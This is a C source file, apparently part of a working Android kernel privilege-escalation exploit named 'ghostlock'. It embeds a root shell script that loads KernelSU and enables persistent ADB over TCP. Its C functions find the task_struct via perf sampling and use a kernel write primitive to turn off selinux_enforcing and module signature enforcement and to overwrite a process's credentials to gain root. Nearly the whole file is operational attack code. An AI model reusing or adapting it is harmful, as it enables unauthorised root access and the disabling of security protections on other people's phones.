" chmod 755 \"$KSUD\" 2>/dev/null\n"
" KVER=$(uname -r | cut -d. -f1-2)\n"
" AVER=$(uname -r | grep -o 'android[0-9]*')\n"
" KMI=\"${AVER}-${KVER}\"\n"
" diag '[*] KMI=' $KMI\n"
" mkdir -p /data/adb/ksu 2>/dev/null\n"
" diag '[*] ksud late-load --kmi=' $KMI\n"
" KSUD_LOG=/data/local/tmp/.ghostlock_ksud.log\n"
" rm -f \"$KSUD_LOG\"\n"
" setsid \"$KSUD\" late-load --kmi=\"$KMI\" </dev/null >\"$KSUD_LOG\" 2>&1 &\n"
" KSUD_PID=$!\n"
" diag '[*] ksud pid='$KSUD_PID\n"
" KSUD_EXITED=0\n"
" for w in $(seq 1 30); do\n"
" if ! kill -0 \"$KSUD_PID\" 2>/dev/null; then KSUD_EXITED=1; break; fi\n"
" sleep 1\n"
" done\n"
" if [ \"$KSUD_EXITED\" = 1 ]; then\n"
" wait \"$KSUD_PID\"; KSUD_STATUS=$?\n"
" diag '[*] ksud exit='$KSUD_STATUS\n"
" else\n"
" diag '[!] ksud still running after 30s; capturing process state'\n"
" cat /proc/$KSUD_PID/status >>$ROOT_LOG 2>&1\n"
" cat /proc/$KSUD_PID/wchan >>$ROOT_LOG 2>&1\n"
" fi\n"
" if [ -s \"$KSUD_LOG\" ]; then\n"
" diag '[*] ksud output:'\n"
" tail -n 40 \"$KSUD_LOG\"\n"
" tail -n 40 \"$KSUD_LOG\" >>$ROOT_LOG\n"
" fi\n"
" fi\n"
"fi\n"
"if grep -q kernelsu /proc/modules 2>/dev/null; then KSU_READY=1; fi\n"
"if [ \"$KSU_READY\" = 1 ]; then\n"
" diag '[+] KSU LOADED'\n"
" grep kernelsu /proc/modules\n"
" RSPROP=$(find /data/app -path '*/com.resukisu.resukisu*/lib/arm64/libksud.so' 2>/dev/null | head -1)\n"
" if [ -n \"$RSPROP\" ]; then\n"
" chmod 755 \"$RSPROP\" 2>/dev/null\n"
" ADB_PORT=$(cat /data/local/tmp/a/adb_port 2>/dev/null || echo 5555)\n"
" \"$RSPROP\" resetprop -p persist.adb.tcp.port $ADB_PORT 2>&1 && echo \"[+] persist.adb.tcp.port=$ADB_PORT set via resetprop\"\n"
" \"$RSPROP\" resetprop service.adb.tcp.port $ADB_PORT 2>/dev/null\n"
" fi\n"
" rm -f /data/local/tmp/.ghostlock_w1\n"
" APK=$(pm path com.resukisu.resukisu 2>/dev/null | sed 's/package://')\n"
" if [ -n \"$APK\" ] && [ -x /data/adb/ksud ]; then\n"
" /data/adb/ksud kernel dynamic-manager set-apk \"$APK\" 2>/dev/null && echo '[+] dynamic manager set'\n"
" fi\n"
/* In chain mode the chain itself restores enforcing as its LAST step
* (after the ksud stages); flipping it here would both deviate from
* that design and kill this init_cred shell on FNE. */
" if [ \"$CHAIN_MODE\" != 1 ]; then echo 1 > /sys/fs/selinux/enforce 2>/dev/null; fi\n"
" diag '[*]' $(id) 'enforce='$(cat /sys/fs/selinux/enforce 2>/dev/null)\n"
" report_status ready\n"
" diag '[+] done'\n"
"else\n"
/* Do NOT restore enforcing here: this shell runs with init_cred's
* u:r:kernel:s0 context, and re-enabling while it is alive breaks
* (and on FNE, kills) the process — H80GT README patch #2 documented
* the same class of failure. With no KernelSU userspace on the
* device, permissive is the correct resting state; a reboot restores
* enforcing cleanly. */
" diag '[*]' $(id) 'enforce='$(cat /sys/fs/selinux/enforce 2>/dev/null)\n"
" diag '[!] KernelSU userspace not present on this device'\n"
" diag '[!] keeping SELinux permissive; reboot to restore enforcing'\n"
" report_status root-no-ksu\n"
"fi\n"
"if [ -t 0 ]; then exec /system/bin/sh -i; fi\n";
if (!policy_script_ready) {
pr_info("root script: early policy repair script unavailable\n");
}
write(sfd, script, strlen(script));
close(sfd);
}
/* perf_find_task - only used when perf is available (shell context) */
static uintptr_t perf_find_task(void) {
struct perf_event_attr pe;
memset(&pe, 0, sizeof(pe));
pe.type = PERF_TYPE_SOFTWARE;
pe.size = sizeof(pe);
pe.config = PERF_COUNT_SW_CPU_CLOCK;
pe.sample_period = 5000;
pe.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_REGS_INTR;
pe.sample_regs_intr = (1ULL << 32) - 1;
pe.disabled = 1;
pe.exclude_user = 1;
pe.exclude_hv = 1;
pe.exclude_idle = 1;
errno = 0;
int fd = (int)syscall(__NR_perf_event_open, &pe, 0, -1, -1, 0);
if (fd < 0) { pr_error("perf_event_open failed errno=%d\n", errno); return 0; }
size_t msz = 4096 * (1 + 32);
void *buf = mmap(NULL, msz, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (buf == MAP_FAILED) { pr_error("perf mmap failed errno=%d\n", errno); close(fd); return 0; }
ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);
for (volatile int i = 0; i < 500000; i++) syscall(__NR_getpid);
ioctl(fd, PERF_EVENT_IOC_DISABLE, 0);
struct perf_event_mmap_page *hdr = buf;
uint64_t head = hdr->data_head;
__sync_synchronize();
char *base = (char *)buf + 4096;
size_t dsz = 4096 * 32;
uint64_t pos = hdr->data_tail;
uintptr_t cands[256]; int nc = 0;
while (pos < head && nc < 256) {
struct perf_event_header *ev = (void *)(base + (pos % dsz));
if (ev->size == 0) break;
if (ev->type == PERF_RECORD_SAMPLE) {
char *p = (char *)ev + sizeof(*ev);
p += 8; /* skip IP */
uint64_t abi = *(uint64_t *)p; p += 8;
if (abi == 1 || abi == 2) {
uint64_t *regs = (uint64_t *)p;
for (int i = 0; i < 32 && nc < 256; i++) {
uint64_t v = regs[i];
if (v > 0xffffff8000000000ULL && v < 0xfffffffe00000000ULL)
cands[nc++] = v;
}
}
}
pos += ev->size;
}
hdr->data_tail = head; munmap(buf, msz); close(fd);
if (!nc) return 0;
uintptr_t best = 0; int best_cnt = 0;
for (int i = 0; i < nc; i++) {
int cnt = 0;
for (int j = 0; j < nc; j++) if (cands[j] == cands[i]) cnt++;
if (cnt > best_cnt) { best_cnt = cnt; best = cands[i]; }
}
pr_info("perf task: 0x%016zx (%d/%d votes)\n", best, best_cnt, nc);
return best;
}
struct child_pipes { int task_r, task_w, cmd_r, cmd_w, uid_r, uid_w; };
/* ksu_fne chain: generate the runtime-KASLR-adjusted fake kallsyms used
* by the bind-mounted /proc/kallsyms during module load. fne_syms.txt
* holds slide-0 (link-time) addresses extracted from the running
* kernel's ELF, but FNE re-randomizes the slide every boot (two observed
* boots differed by ~100GB), so load_ko would patch wrong addresses and
* panic on insmod. The slide comes from $D/slide.txt (written by
* do_one_write once final; the UMH root child does not inherit this
* process's kaslr_slide). Best-effort: on missing inputs return -1 and
* let chain_hook.sh's fake_ksyms.txt gate abort the load with a clear
* log instead of insmod'ing wrong addresses. */
int ksu_fne_write_runtime_kallsyms(void) {
const char *dir = "/data/local/tmp/ksu_fne";
char slide_path[80], src_path[80], dst_path[80], tmp_path[80];
snprintf(slide_path, sizeof(slide_path), "%s/slide.txt", dir);
snprintf(src_path, sizeof(src_path), "%s/fne_syms.txt", dir);
snprintf(dst_path, sizeof(dst_path), "%s/fake_ksyms.txt", dir);
snprintf(tmp_path, sizeof(tmp_path), "%s/.fake_ksyms.tmp", dir);
FILE *sf = fopen(slide_path, "r");
if (!sf) return -1;
unsigned long long slide = 0;
if (fscanf(sf, "%llx", &slide) != 1) { fclose(sf); return -1; }
fclose(sf);
FILE *in = fopen(src_path, "r");
if (!in) return -1;
FILE *out = fopen(tmp_path, "w");
if (!out) { fclose(in); return -1; }
char line[512];
long n = 0;
while (fgets(line, sizeof(line), in)) {
unsigned long long addr = 0;
int consumed = 0;
if (sscanf(line, "%llx%n", &addr, &consumed) >= 1 && consumed > 0) {
fprintf(out, "%016llx%s", addr + slide, line + consumed);
n++;
}
}
fclose(in);
if (fclose(out) != 0) { remove(tmp_path); return -1; }
if (rename(tmp_path, dst_path) != 0) { remove(tmp_path); return -1; }
pr_info("ksu_fne: runtime fake kallsyms written: %ld syms, slide=0x%llx\n",
n, slide);
return 0;
}
static void child_main(struct child_pipes *p) {
close(p->task_r); close(p->cmd_w); close(p->uid_r);
/* W2: the chain's rb_next (1bd4, taken because leftmost==node) reads
* [fake_right+0x10] = [task+0x890] as rb_left and chases it if nonzero.
* task+0x890 sits inside comm[16] (comm follows the cred block in
* task_struct). Zero comm so that read returns NULL whether cred or
* real_cred sits at 0x880 (and for the +8 ladder offset). */
prctl(PR_SET_NAME, "", 0, 0, 0);
uintptr_t my_task = perf_find_task();
write(p->task_w, &my_task, sizeof(my_task));
close(p->task_w);
if (!my_task) _exit(1);
char cmd;
while (read(p->cmd_r, &cmd, 1) == 1) {
if (cmd == 'C') { uint32_t uid = getuid(); write(p->uid_w, &uid, sizeof(uid)); }
else if (cmd == 'G') break;
}
close(p->cmd_r); close(p->uid_w);
if (getuid() != 0) _exit(1);
pid_t gc = fork();
if (gc == 0) {
int efd = open("/sys/fs/selinux/enforce", O_WRONLY);
if (efd >= 0) { write(efd, "0", 1); close(efd); }
/* ksu_fne chain: the runtime fake kallsyms must exist before the
* root script can launch chain_hook.sh (load_ko reads the
* bind-mounted kallsyms). Missing chain files are fine — the
* generator silently no-ops on them. */
if (ksu_fne_write_runtime_kallsyms() != 0)
pr_warning("ksu_fne: runtime kallsyms generation failed (chain aborted by hook gate)\n");
execl("/system/bin/sh", "sh", "/data/local/tmp/.ghostlock_root.sh", NULL);
_exit(1);
}
if (gc < 0) _exit(1);
int status = 0;
while (waitpid(gc, &status, 0) < 0) {
if (errno == EINTR) continue;
_exit(1);
}
if (WIFEXITED(status)) _exit(WEXITSTATUS(status));
if (WIFSIGNALED(status)) _exit(128 + WTERMSIG(status));
_exit(1);
}
static pid_t spawn_child(struct child_pipes *p) {
int p1[2], p2[2], p3[2];
if (pipe(p1) < 0 || pipe(p2) < 0 || pipe(p3) < 0) return -1;
p->task_r = p1[0]; p->task_w = p1[1];
p->cmd_r = p2[0]; p->cmd_w = p2[1];
p->uid_r = p3[0]; p->uid_w = p3[1];
pid_t child = fork();
if (child < 0) return -1;
if (child == 0) { child_main(p); _exit(1); }
close(p->task_w); close(p->cmd_r); close(p->uid_w);
return child;
}
/* forward decl: run_exploit 补做 W1b 时调用点在定义之前 */
static void try_w1b_sig_enforce(void);
int run_exploit(int argc, char **argv) {
(void)argc; (void)argv;
disable_rseq_for_thread();
set_unbuffer();
set_limit();
if (!active_offsets && select_offsets() < 0) return 1;
log_startup_context();
init_p0_profile();
init_ashmem_path();
pin_to_core(CORE);
/* Enforce watcher must be up before any write stage: a landed walk can
* panic the box within milliseconds, and this thread is the only channel
* that turns that crash into a detectable hit. */
{
pthread_t watcher;
if (pthread_create(&watcher, NULL, enforce_watcher_thread, NULL) != 0)
pr_error("enforce watcher spawn failed errno=%d\n", errno);
}
kaslr_slide = 0;
kaslr_base = KIMAGE_TEXT_BASE;
if (active_offsets->kimage_text_base) {
kaslr_base = active_offsets->kimage_text_base;
}
kaslr_done = 1;
gl_memstart_probe();
timer_reset();
TIMER("exploit start");
write_root_script();
/* Phase 1: Disable SELinux (+ optional fops redirect for UMH path) */
int selinux_ok = check_selinux_off();
int umh_available = active_offsets &&
active_offsets->off_system_unbound_wq &&
active_offsets->off_ashmem_misc_fops;
if (!selinux_ok && umh_available) {
/* UMH path: mode=4 redirects miscdevice fops via W0's pi_tree.
* miscdevice starts at ASHMEM_FOPS_PTR (repr(transparent) Registration).
* fops at miscdevice+0x10 = ASHMEM_MISC_FOPS. */
pr_info("UMH path: fops redirect (mode=4)...\n");
slab_drain();
TIMER("pre-UMH drain");
do_one_write(text_addr(ASHMEM_MISC_FOPS), "fops redirect", 4);
TIMER("fops redirect done");
selinux_ok = check_selinux_off();
}
if (!selinux_ok && !root_child_done) {
/* Fallback: direct PI write to selinux_enforcing */
slab_drain();
TIMER("pre-W1 drain");
/* The stale pi_blocked_on coin is per arming (M4 creation), not per
* punch: within one stage every attempt shares one coin, so more
* coin flips = more ARMINGS, not more route attempts (run44: 21
* punches across 3 armings, 0 hits). Each arm here = one fresh
* M4 stale creation + 8 re-punches on the kept page (~1-2min each). */
for (int att = 1; att <= 12 && !selinux_ok; att++) {
pr_info("Write 1 attempt %d/12\n", att);
do_one_write(text_addr(SELINUX_ENFORCING), "W1: SELinux", 1);
usleep(100000);
if (check_selinux_off()) { pr_success("SELinux DISABLED\n"); selinux_ok = 1; }
}
if (!selinux_ok) { pr_warning("Write 1 failed\n"); return 1; }
TIMER("Write 1 complete");
} else if (!selinux_ok && root_child_done) {
selinux_ok = 1;
} else {
pr_success("SELinux off (UMH or already)\n");
}
/* W1b 补做: --write1 阶段的 W1b 是概率性 UAF 写(默认 6 attempts),
* miss 后 full run 从不重试 → root 拿到但 sig_enforce=Y, chain
* gate1 abort, root 白拿(TNA 2026-10-27 两轮实测)。W1b 幂等
* (try_w1b_sig_enforce 内部检测已关则秒退), SELinux 已 off 时
* 无条件补一次, 让 W2/UMH 路径接管前 sig_enforce 必已清零。 */
if (selinux_ok) {
try_w1b_sig_enforce();
}
/* Phase 2: Check if UMH root succeeded */
if (root_child_done) {
pr_success("UMH root done — skipping W2\n");
TIMER("exploit complete (UMH)");
pr_info("waiting for KernelSU helper...\n");
return wait_for_ksu_status();
}
/* Phase 2 fallback: Find child task_struct + cred overwrite */
pr_info("UMH not available, falling back to W2 cred path\n");
slab_drain();
TIMER("pre-W2 drain");
struct child_pipes pipes;
pr_info("spawning child (perf task_struct probe)...\n");
fflush(stdout);
pid_t child = spawn_child(&pipes);
if (child < 0) { pr_error("fork failed\n"); return 1; }
uintptr_t child_task = 0;
read(pipes.task_r, &child_task, sizeof(child_task));
close(pipes.task_r);
TIMER("perf_find_task done");
if (!child_task) {
pr_info("perf returned 0, retrying...\n");
waitpid(child, NULL, 0);
child = spawn_child(&pipes);
if (child < 0) { pr_error("retry fork failed\n"); return 1; }
read(pipes.task_r, &child_task, sizeof(child_task));
close(pipes.task_r);
}
if (!child_task) {
pr_error("Cannot find task_struct (perf blocked by seccomp?)\n");
close(pipes.cmd_w);
waitpid(child, NULL, 0);
return 1;
}
pr_info("child_pid=%d child_task=0x%016zx\n", child, child_task);
pselect_child_node = 1;
int got_root = 0;
int w2_rounds = env_int_range("GL_W2_ROUNDS", 10, 1, 10);
int w2_cred_adj = env_int_range("GL_W2_CRED_ADJ", 0, -16, 32);
uintptr_t w2_target = child_task + TASK_CRED_OFF + (uintptr_t)w2_cred_adj;
pr_info("W2: cred_off=%#x adj=%d target=%#zx (child_task=%#zx)\n",
TASK_CRED_OFF, w2_cred_adj, (size_t)w2_target, (size_t)child_task);
for (int round = 1; round <= w2_rounds && !got_root; round++) {
pr_info("round %d/%d: cred write\n", round, w2_rounds);
slab_drain();
if (!do_one_write(w2_target, "W2: cred", 2)) {
pr_warning("W2: cred preparation failed on round %d\n", round);
continue;
}
usleep(50000);
write(pipes.cmd_w, "C", 1);
uint32_t child_uid = 9999;
read(pipes.uid_r, &child_uid, sizeof(child_uid));
pr_info("child uid = %u\n", child_uid);
if (child_uid == 0) { pr_success("child is root!\n"); got_root = 1; }
}
write(pipes.cmd_w, "G", 1);
close(pipes.cmd_w); close(pipes.uid_r);
if (!got_root) {
pr_error("failed after %d rounds\n", w2_rounds);
waitpid(child, NULL, 0);
return 1;
}
sleep(2);
TIMER("exploit complete");
pr_info("waiting for KernelSU helper...\n");
return wait_for_ksu_status();
}
int install_embedded_wallpaper(void) { return 0; }
static int run_write1_only(void);
extern int mini_adb_port;
extern int mini_adb_shell(const char *cmd);
/* W1b: clear sig_enforce (module signature force) if the offsets table
* provides its address and it is not already off. Call only while the
* device is permissive (the write primitive must still be installable
* and the param readback needs permissive). Non-fatal on failure: root
* still works, only the unsigned module load is blocked this boot. */
static void try_w1b_sig_enforce(void) {
if (!active_offsets->off_sig_enforce)
return;
if (check_sig_enforce_off())
return;
int w1b_max = env_int_range("GL_W1B_ATTEMPTS", 6, 1, 20);
int att;
for (att = 1; att <= w1b_max; att++) {
slab_drain();
pr_info("W1b: sig_enforce attempt %d/%d\n", att, w1b_max);
do_one_write(text_addr(SIG_ENFORCE), "W1b: sig_enforce", 5);
usleep(100000);
if (check_sig_enforce_off())
break;
}
if (check_sig_enforce_off())
pr_success("SIG_ENFORCE DISABLED (unsigned modules loadable)\n");
else
pr_warning("W1b: sig_enforce still set; module load would be "
"rejected this boot (root itself is unaffected)\n");
}
/* --bootstrap mode: runs from app context (any UID, with seccomp).
* 1) Write 1 → SELinux off
* 2) setprop to enable adb TCP on 5555 (SELinux off → property_service allows it)
* 3) mini-adb connects to 127.0.0.1:5555, authenticates with pre-pushed key,
* runs full exploit via adb shell (no app seccomp → perf works)
*/
static int run_bootstrap(void) {
log_startup_context();
/* Keep W1's spray, reclaim sockets, and PI helper threads out of the
* process that later launches W2 through adb. W1 deliberately leaves its
* reclaimed page held until the owning process exits; running W1 inline
* would therefore let that state interfere with W2 in the shell process. */
pid_t w1_child = fork();
if (w1_child < 0) {
pr_error("cannot fork W1 helper errno=%d\n", errno);
return 1;
}
if (w1_child == 0) {
_exit(run_write1_only());
}
int w1_status;
pid_t waited;
do {
waited = waitpid(w1_child, &w1_status, 0);
} while (waited < 0 && errno == EINTR);
if (waited < 0) {
pr_error("waiting for W1 helper failed errno=%d\n", errno);
return 1;
}
if (!WIFEXITED(w1_status) || WEXITSTATUS(w1_status) != 0) {
pr_error("W1 helper failed status=%d\n", w1_status);
return 1;
}
pr_info("W1 helper exited; reclaimed state released before W2\n");
/* Wait for adb TCP — read the actual port from system property */
int adb_port = 5555;
char port_buf[32] = {};
read_first_line("/data/local/tmp/a/adb_port", port_buf, sizeof(port_buf));
if (port_buf[0]) adb_port = atoi(port_buf);
if (adb_port <= 0 || adb_port > 65535) adb_port = 5555;
pr_info("Waiting for adb TCP on port %d...\n", adb_port);
for (int i = 0; i < 30; i++) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(adb_port),
.sin_addr.s_addr = htonl(0x7f000001)
};
int c = (sock >= 0) ? connect(sock, (struct sockaddr *)&addr, sizeof(addr)) : -1;
if (sock >= 0) close(sock);
if (c == 0) {
pr_success("adbd ready on port %d (attempt %d)\n", adb_port, i + 1);
goto tcp_ready;
}
usleep(1000000);
}
pr_error("adbd not on TCP %d after 30s\n", adb_port);
return 1;
tcp_ready:
usleep(200000);
mini_adb_port = adb_port;
pr_info("Connecting via mini-adb on port %d...\n", adb_port);
int adb_ret = mini_adb_shell("/data/local/tmp/a/e");
pr_info("mini-adb returned %d\n", adb_ret);
return adb_ret;
}
static int run_write1_only(void) {
disable_rseq_for_thread();
set_unbuffer();
set_limit();
if (!active_offsets && select_offsets() < 0) return 1;
init_p0_profile();
init_ashmem_path();
pin_to_core(CORE);
kaslr_slide = 0;
kaslr_base = KIMAGE_TEXT_BASE;
if (active_offsets->kimage_text_base) {
kaslr_base = active_offsets->kimage_text_base;
}
kaslr_done = 1;
gl_memstart_probe();
if (check_selinux_off()) {
pr_success("SELinux already off\n");
try_w1b_sig_enforce();
return 0;
}
int w1_max = env_int_range("GL_W1_ATTEMPTS", 20, 1, 20);
for (int att = 1; att <= w1_max; att++) {
slab_drain();
pr_info("Write 1 attempt %d/%d\n", att, w1_max);
do_one_write(text_addr(SELINUX_ENFORCING), "W1: SELinux", 1);
usleep(100000);
if (check_selinux_off()) {
pr_success("SELinux DISABLED\n");
try_w1b_sig_enforce();
return 0;
}
}
pr_error("Write 1 failed after 20 attempts\n");
return 1;
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
/* GL_CANARY_ARM=1: start arm counter at 1 so even the first armed
* stage (mode-4 under GL_SAFE_PARENT) carries the arm-1 canary. */
gl_canary_arm = env_flag("GL_CANARY_ARM", 0) ? 1 : 0;
m4_timeout_ms = env_int_range("M4_TIMEOUT_MS", 1000, 10, 60000);
stamp_pre_m4 = env_flag("GL_STAMP_PRE_M4", 0);
punch_in_window = env_flag("GL_PUNCH_IN_WINDOW", 0);
punch_delay_usec = env_int_range("GL_PUNCH_DELAY_USEC", 0, 0, 60000000);
owner_handoff = env_flag("GL_OWNER_HANDOFF", 0);
hold_chain = env_flag("GL_HOLD_CHAIN", 0);
g_probe_bootid = env_flag("GL_PROBE_BOOTID", 0);
g_stamp_echo = env_flag("GL_STAMP_ECHO", 0);
g_arm_t = env_flag("GL_ARM_T", 0);
arm_t_t2 = env_flag("GL_ARM_T_T2", 0);
spray_test = env_flag("GL_SPRAY_TEST", 0);
pr_info("knobs: HOLD_CHAIN=%d STAMP_SYNC=%d STAMP_PRE_M4=%d "
"CANARY_SEQ=%d CANARY_RATCHET=%d CANARY_ARM=%d CHAIN_BAIL=%d "
"ROUTE_ATTEMPTS=%d OWNER_HANDOFF=%d PUNCH_IN_WINDOW=%d "
"MCAST_SHIFT=%d M4_TIMEOUT_MS=%d PROBE_BOOTID=%d STAMP_ECHO=%d "
"ARM_T=%d ARM_T_T2=%d SPRAY_TEST=%d\n",
hold_chain, env_flag("GL_STAMP_SYNC", 0), stamp_pre_m4,
env_flag("GL_CANARY_SEQ", 0), env_flag("GL_CANARY_RATCHET", 0),
gl_canary_arm, env_int_range("GL_CHAIN_BAIL", 0, 0, 140),
env_int_range("GL_ROUTE_ATTEMPTS", 8, 1, 8), owner_handoff,
punch_in_window, env_int_range("MCAST_SHIFT", 24, 0, 24),
m4_timeout_ms, g_probe_bootid, g_stamp_echo, g_arm_t, arm_t_t2,
spray_test);
handle_umh_mode(argc, argv);
if (argc > 1 && strcmp(argv[1], "--bootstrap") == 0)
return run_bootstrap();
if (argc > 1 && strcmp(argv[1], "--write1") == 0)
return run_write1_only();
return run_exploit(argc, argv);
}